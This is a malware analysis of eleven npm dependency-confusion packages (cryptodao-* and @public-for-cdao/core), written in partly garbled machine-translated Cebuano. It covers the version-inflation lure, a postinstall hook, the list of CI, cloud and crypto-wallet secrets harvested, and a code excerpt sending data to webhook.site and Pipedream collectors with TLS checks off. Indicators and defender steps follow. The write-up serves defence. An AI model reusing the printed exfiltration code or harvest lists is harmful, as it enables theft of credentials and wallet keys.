Kalibog sa CryptoDAO: Pag-ani sa mga Pakete sa npm CI/CD ug mga Sekreto sa Crypto

Kalibog sa CryptoDAO: onse ka npm nga pakete, usa ka payload, pag-ani CI/CD ug mga sekreto sa crypto-wallet

TL; DR

Niadtong 2026-06-17, usa ka npm account ang gipatik onse ka mga pakete nga adunay usa ka katuyoan ug usa ka payloadNapulo kanila ang nagdala sa cryptodao- prefix (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ang ika-onse mao ang gisakpan @public-for-cdao/coreAng matag usa gipatik sa bersyon 99.99.99 ug nagpadala og byte-identical recon.js nga nagdagan sa postinstall.

Ang mga ngalan mao ang timailhan. Kini mabasa sama sa internal nga mga bloke sa pagtukod sa pribadong toolchain sa usa ka proyekto sa crypto/DAO. Gipatik sa publikong npm registry sa usa ka artipisyal nga taas nga bersyon, naghulat sila sa usa ka pagtukod. pipeline nga gi-configure aron masulbad ang mga ngalan ug nga makaabot sa public npm sa dili pa — o imbes — sa private registry. Kini kalibog sa pagsalig, ug ang payload gi-tune para gyud sa kung asa kini gilauman nga molanding: CI/CD runners.

Kanus-a postinstall mga sunog, recon.js mangolekta og mga detalye sa host, manglimpyo og gamay kwarenta ka mga variable sa palibot sa cloud, CI, ug crypto-wallet, nagbasa ug bisan unsa .env mga file nga makit-an ug ipadala niini ang mga sekreto nga linya nga verbatim, dayon ipadala ang bundle ngadto sa duha ka kolektor — webhook.site ug usa ka Pipedream endpoint — nga gi-disable ang TLS certificate verification. Ang kopya gisulat usab ubos sa /tmp.

Kabug-at: hatag-as ngaApektadong ekosistema: npmAng tanang onse ka pakete anaa pa sa panahon sa pagsulat niini.

Anatomiya sa pag-atake

Ang mekanismo adunay upat ka naglihok nga mga bahin, ug walay usa niini nga maliputon kung nahibal-an na nimo tan-awa usa ka layer lapas sa ngalan sa pakete.

1. Bersyon sa pagpaburot isip pangdani sa pagsulbad. Ang matag pakete nagdeklara sa bersyon 99.99.99Ang kalibog sa dependency molihok kung ang usa ka package manager, mangayo og internal nga ngalan, nagsusi usab sa publikong rehistro ug nagpili sa labing taas nga bersyon niini finds. Ang default nga pagpili sa npm para sa caret o wildcard range mao ang labing makatagbaw nga bersyon sa matag gi-configure nga tinubdan; kung pareho nga pribado registry ug public npm nga tubag para sa parehas nga ngalan, ang mas dako nga numero sa bersyon ang modaog. A 99.99.99 milabaw sa bisan unsang tinuod nga internal nga bersyon nga anaa sa usa ka proyekto naabot, mao nga ang usa ka resolver nga wala gi-pin sa pribadong tinubdan mas gusto ang publiko — ug sa kini nga kaso, agresibo — nga kopya. Dili kinahanglan mahibal-an sa operator ang ang tinuod nga numero sa bersyon sa target; ang pagpili og dili katuohan nga pinakataas nga garantiya nga kanunay nga tabla moguba sa ilang agianan.

2. Usa ka gatilyo human sa pag-instalar. package.json ikonektar ang payload sa install siklo sa kinabuhi:

{   "scripts": { "postinstall": "node recon.js" } }

Dili kinahanglan ang pag-import sa pakete. I-install lang kini — nga usa ka CI pipeline awtomatiko nga mobuhat — modagan recon.js.

3. Usa ka halapad nga sekreto nga pagsilhig. recon.js nagtigom og resulta sa sunod-sunod nga mga yugto:

  • Konteksto sa host: hostname, plataporma ug pagpagawas, arkitektura, username, pagtrabaho directory.
  • Mga variable sa palibot: kini nag-ulit sa usa ka piho nga lista sa mga kwarenta ka mga ngalan ug mga rekord bisan unsa nga natakda. Ang lista nagpadayag — kini nagpares sa mga generic nga CI token (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) ug panganod mga kredensyal (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) nga adunay mga sekreto sa registry ug container (NPM_TOKEN, DOCKER_PASSWORD, PASSWORD_SA_DUNGOG) ug usa ka klaro nga pungpong nga adunay lami sa crypto:  PRIVATE_YAWE, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCAng narekord nga mga kantidad giputol ngadto sa unang 50 ka karakter.
  • .env mga file: kini nagsusi sa usa ka lista sa mga agianan — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, ug ang .produksyon/.kalamboan mga variant — ug alang sa bisan unsang file nga anaa, kini gisala ang mga sulod ngadto sa mga linya nga mohaom YAWA|SEKRETO|TOKEN|PASS|PRIVATE|MNEMONIC ug iduso kadtong mga linya **sa bug-os, wala giputol** ngadto sa mga resulta.
  • Konteksto sa Build-host: kini naglista sa unang 20 ka entries sa /nagtukod/, /home/gitlab-runner/mga gitukod/, /var/lib/gitlab-runner/, Ug /tmp/.

Ang lista sa agianan ug lista sa variable gitimbang ngadto sa mga runner sa GitLab, nga nagpunting sa ang payload eksakto sa self-hosted CI infrastructure imbes sa usa ka developer laptop. Ang paggrupo sa listahan sa ani pinaagi sa kategorya makapahimo sa gituyo nga paghakot nga yano:

Kategoriya Mga baryabol / agianan nga naabot
CI/CD identidad ug pag-deploy CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Rehistro ug sudlanan NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Mga tindahan sa datos DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kripto / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
messaging SLACK_TOKEN, DISCORD_TOKEN
Sa disk .env pamilya + /home/gitlab-runner/.env, /root/.env, /app/**/.env; mga listahan sa direktoryo sa /builds/, /var/lib/gitlab-runner/

Ang crypto cluster mao ang bahin nga nagpalahi niini gikan sa usa ka generic nga CI-secret. sweep: ang mga hugpong sa mga pulong sa liso sa pitaka ug mga yawe sa pagpirma makita ra sa palibot sa usa ka proyekto sa blockchain, ug direkta silang nagmapa sa cryptodao-/ilhanan/kontrata pagngalan sa mga tigdala.

4. Dobleng exfiltration nga adunay pag-verify nga gi-disable. Ang nakolekta nga array mao ang gi-serialize ug gi-POST sa duha ka destinasyon:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

isalikwayWala Gitugot: bakak gipalong ang mga pagsusi sa sertipiko sa TLS para sa outbound mga tawag. Ang parehas nga datos giimprinta sa stdout (mao nga kini makita usab sa mga CI job log) ug gisulat ngadto sa /tmp/.npm_recon_ .jsonAng mga sayop hilom nga gitago, busa ang napakyas nga pagpadala walay mabilin nga timailhan sa output sa pag-install lapas sa usa lang ka [recon] gi-install sa linya.

Usa ka nag-unang komento sa file naghulagway niini isip usa ka "Pagkalibug sa Dependency Reconnaissance Payload.” Ang pagputol sa mga bili sa palibot ngadto sa 50 ka karakter adunay ang porma sa usa ka pruweba sa konsepto. Ang nagpalihok niini lapas sa usa ka presensya-lamang nga suga mao ang .env pagdumala: ang mga linya sa sekreto nga pagdala gipadala sa hingpit, ug ang mga destinasyon duha ka nagtrabaho, kontrolado sa tig-atake nga mga kolektor imbes nga usa ka lababo nga maihap ra hits

Timeline

Ang sumbanan sa pagmantala mao ang pirma sa usa ka scripted push, dili onse mga independente nga pag-upload.

Oras (UTC, 2026-06-17) Hitabo
03:24:58 cryptodao-bot@99.99.99 nga gipatik
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — gisusi nga variant, ~24 min ang milabay

Napulo ka pakete ang gipagawas sulod sa 29 segundos nga panahon, halos usa matag tulo ka segundo. Ang gisakpan @public-for-cdao/core gisundan mga 24 minutos human — usa ka segundo kombensiyon sa pagngalan alang sa parehas nga target, kung ang proyekto nga nagkonsumo nagtumong sa internal toolchain ubos sa usa ka sakup imbes nga mga hubo nga ngalan.

Mga timailhan sa kompromiso

Type timailhan
Ang kolektor hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Ang kolektor hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
I-install ang kaw-it postinstall: node recon.js
Nahulog nga file /tmp/.npm_recon_<timestamp>.json
Marker sa log [recon] <pkg>@<ver> installed on <hostname> (stdout sa mga CI log)
Paggawi rejectUnauthorized: false sa outbound HTTPS atol sa pag-install
Baybay recon.js, parehas sa tanang onse ka pakete (usa ka gipaambit nga build)
Version 99.99.99 sa matag pakete
packages cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (tanan 99.99.99)
Tagmantala aduljune / aduljune@proton.me (wala mapamatud-i ang email, walay nalambigit nga source repository)

 Pag-ila ug naobserbahan nga pamatasan

Ang tanan bahin sa cluster nagpunting sa usa ka kamot. Ang tanan nga onse ka mga pakete gipatik. pinaagi sa npm account aduljune (aduljune@proton.me, usa ka wala mapamatud-i nga adres nga walay nalambigit nga tinubdan sa repository), sulod sa 25 minutos nga gidugayon, sa samang higayon 99.99.99 bersyon, pagpadala og usa ka recon.js kansang mga sulod parehas og byte-por-byte sa matag pakete (MD5 motakdo sa tanang onse ka nakuha nga kopya). Kana usa ka payload giselyohan sa usa ka lista sa mga ngalan, dili sa independente nga paggamit pag-usab sa kodigo.

Ang lista sa ngalan nagtino sa gituyo nga target. cryptodao-* ug cdao ihulagway ang pribadong layout sa module sa usa ka crypto/DAO nga proyekto, ug ang harvest list sa payload mga salamin nga nagtag-an: uban sa mga generic nga CI ug mga sekreto sa panganod, kini ilabi na moabot alang sa PRIVATE_YAWE, MNEMONIC, SEED_PHRASE, ug Ethereum/BSC RPC ug mga yawe sa tighatag. Ang .env Ang mga agianan sa pagpangita ug mga lista sa direktoryo kay GitLab-runner espesipiko. Ang makita nga epekto mao nga bisan unsa pipeline nalimbongan sa pag-instalar niini ang mga ngalan mopadala sa mga CI token, cloud keys, ug on-disk niini .env mga sekreto — ug, para sa usa ka proyekto sa blockchain, ang materyal niini sa pitaka — ngadto sa duha ka third-party nga kolektor.

Wala kami'y giangkon bahin sa kung kinsa ang nagpadagan sa account o kung unsa ang ilang plano nga buhaton sa datos. Ang mga kamatuoran nga nagbarog sa ilang kaugalingon: ang mga ngalan nagtumong sa usa ka piho nga matang sa internal toolchain, ang payload mobasa ug mopadala sa tinuod nga sekreto nga mga kantidad, ug ang aktibo ang imprastraktura.

Epekto, mga uso, ug giya sa tigpanalipod

Kalibog sa pagsalig nagpabilin nga epektibo tungod kay kini nagpahimulos sa pamatasan sa resolver, dili usa ka kahuyang sa bisan unsang pakete. Ang carrier dinhi gamay ra — onse hapit walay sulod mga pakete — apan ang radius sa pagbuto bisan unsa pa pipeline sayop nga mas gusto ang publiko nga npm para sa internal nga ngalan. Ang mga CI runner mao ang pinakagrabe nga lugar para mahitabo kana: sila ang nagkupot eksakto ang mga token ug .env mga file nga gibasa niini nga payload, ug ilang gi-install mga dependency nga dili interactive, busa usa ka pagkahuman sa pag-instalar modagan nga walay nagtan-aw.

Kini nga cluster mohaom usab sa usa ka sumbanan nga atong kanunay nga nakita: mga payload sa oras sa pag-install nga nagpakita isip "panukiduki" o "pagpaniid" samtang naghimo sa tinuod nga pagkolekta sa kredensyal. Ang label sa file dili makausab sa gibuhat sa code sa usa ka runner. Duha ka kapilian sa disenyo ang magpabilin ang kalihokan hilom: ang matag operasyon sa network ug filesystem giputos sa usa ka exception handler nga nagtangtang sa mga sayop, sama sa usa ka nababagan nga pagpadala o usa ka nawala nga file walay gihimong diagnostic output, ug ang bugtong butang nga giimprinta usa ka walay daotang [recon] … na-install na linya nga mosagol sa normal nga instalasyon nga panagsulti. Ang paggamit sa webhook.site ug ang Pipedream tinuyo usab nga kasayon ​​— pareho nga libre, diha-diha dayon nga nag-provision sa mga serbisyo sa pagkuha sa hangyo, aron ang operator dili magkinahanglan og mga server sa ilaha ug ang mga destinasyon morag ordinaryo nga SaaS hostname sa mga egress log.

Ang ekonomiya mao ang nakapahimo niini nga angayan sa atensyon sa usa ka tigpanalipod bisan pa man sayon ​​ra ang carrier code. Walay bayad ang pagparehistro sa onse ka ngalan, usa ra ang payload gikopya ang file onse ka beses, ug ang package manager ang mohimo sa tanang pagpatuman. Usa ra ka higayon. sayop nga pagka-configure pipeline bisan asa nga mogamit sa usa niini nga mga ngalan mobayad sa tibuok operasyon.

Mga konkretong lakang para sa mga tigpanalipod:

  • I-pin ang mga internal scope sa imong pribadong registry. I-configure ang npm aron ang mga internal nga ngalan
     ug ang mga scope mo-resolve lang batok sa imong registry (scoped .npmrc registry mappings,
    o usa ka proxy nga dili gyud mahulog sa public npm para sa gipanag-iya nga mga namespace). I-reserve ang imong public scope names aron walay lain nga makaparehistro niini.
  • Commit lockfiles ug i-install gamit ang –ignore-scripts sa CI kon mahimo, o susiha ang gamay nga hugpong sa mga dependency nga tinuod nga kinahanglan i-install ang mga script.  Dili modagan ang recon.js kung pagkahuman sa pag-instalar wala gipatuman.
  • Pagbaton og 99.99.99 (o uban pang dili katuohan nga taas) nga bersyon sa usa ka ngalan nga morag internal isip usa ka pula nga bandila sa pagrepaso sa dependency ug pagmonitor sa registry.
  • Alerto sa paggawas sa oras sa pag-instalar. A pagkahuman sa pag-instalar nga nagbukas sa usa ka outbound HTTPS koneksyon — ilabi na kung ang pag-verify sa sertipiko gi-disable — ngadto sa Ang webhook.site, Pipedream, o susamang request-capture services angayan nga i-block sa network edge ug i-flag sa build logs.
  • Pangitaa ang mga artifact. Susiha ang mga runner para sa /tmp/.npm_recon_*.json ug alang sa [recon] … na-install sa … marker sa bag-o nga mga CI log. Kung makit-an, i-rotate matag kredensyal nga gibutyag niana pipeline — Mga CI token, cloud key, registry token, ug bisan unsang wallet seeds o private keys nga anaa sa environment o .env files.

mga pakisayran

Walay eksternal nga pagreport bahin niini nga cluster nga naglungtad sa panahon sa pagsulat niini; ang pag-analisar ang naa sa ibabaw gibase direkta sa gipatik nga mga sulod sa pakete

mga himan sa pag-analisa sa komposisyon sa software sa sca
Unaha, ayoha, ug siguroha ang mga risgo sa imong software
Kuhaa ang Imong Libre nga Account.
Walay gikinahanglan nga credit card.

Seguraduha ang Imong Pagpalambo ug Paghatud sa Software

uban sa Xygeni Product Suite